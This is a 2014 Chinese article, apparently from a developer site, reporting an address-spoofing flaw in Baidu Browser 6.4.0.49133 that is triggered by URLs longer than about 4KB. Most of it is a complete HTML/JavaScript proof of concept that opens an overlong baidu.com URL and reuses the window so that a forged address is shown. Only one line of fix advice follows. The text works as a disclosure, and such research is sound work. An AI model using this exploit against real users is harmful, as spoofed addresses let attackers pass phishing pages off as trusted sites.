浏览器漏洞 百度浏览器6.4.0.49133 伪造任意网址

  发布时间:2014-09-25 16:01:22   作者:佚名   我要评论
百度浏览器近期发现漏洞,百度浏览器6.4.0.49133 一旦域名、网址URL长度大于4KB时处理出错,例如将证明文件保存为c:\a.htm并打开,点击连接后可以伪造任意网,需要的朋友可以参考下
(福利推荐:【腾讯云】服务器最新限时优惠活动,云服务器1核2G仅99元/年、2核4G仅768元/3年,立即抢购>>>:9i0i.cn/qcloud

(福利推荐:你还在原价购买阿里云服务器?现在阿里云0.8折限时抢购活动来啦!4核8G企业云服务器仅2998元/3年,立即抢购>>>:9i0i.cn/aliyun

  百度浏览器近期发现漏洞,百度浏览器6.4.0.49133以及以前版本伪造任意网址漏洞,伪造任意协议(http/https/ftp...)、域名、网址URL长度大于4KB时处理出错,例如将证明文件保存为c:\a.htm并打开,点击连接后可以伪造任意网址。

  同时URL过长的时候,会显示“已收藏”图标,估计是处理过长url时逻辑有点小问题漏洞证明:


复制代码
代码如下:
  <html>
  <div id='c' style=''> //displaynone
  ss
  </div>
  <a href="#" target="newwin" id='v' style="display:block" onclick="invokePoC();window.open('javascript:1;','newwin');">just click me</a>
  <script>
  function invokePoC() {
  wx = open("http://www.baidu.com/account/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</p> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
","newwin");//setInterval("doit()",5000);
  }
  if(window.name == "newwin")
  {
  document.getElementById('c').innerText = ':). due to an internal error(>10Kbytes url), the fav icon will be shown. if you just want the shortest url, just make it for about 4KB';document.write("<title>:)</title>");
  document.getElementById('v').style.display = 'none';}
  </script>
  </html>

  修复方案:

  无效URL及时过滤,以防止伪造网址,谢谢阅读,希望能帮到大家,请继续关注程序员之家,我们会努力分享更多优秀的文章。

相关文章

最新评论

?


http://www.vxiaotou.com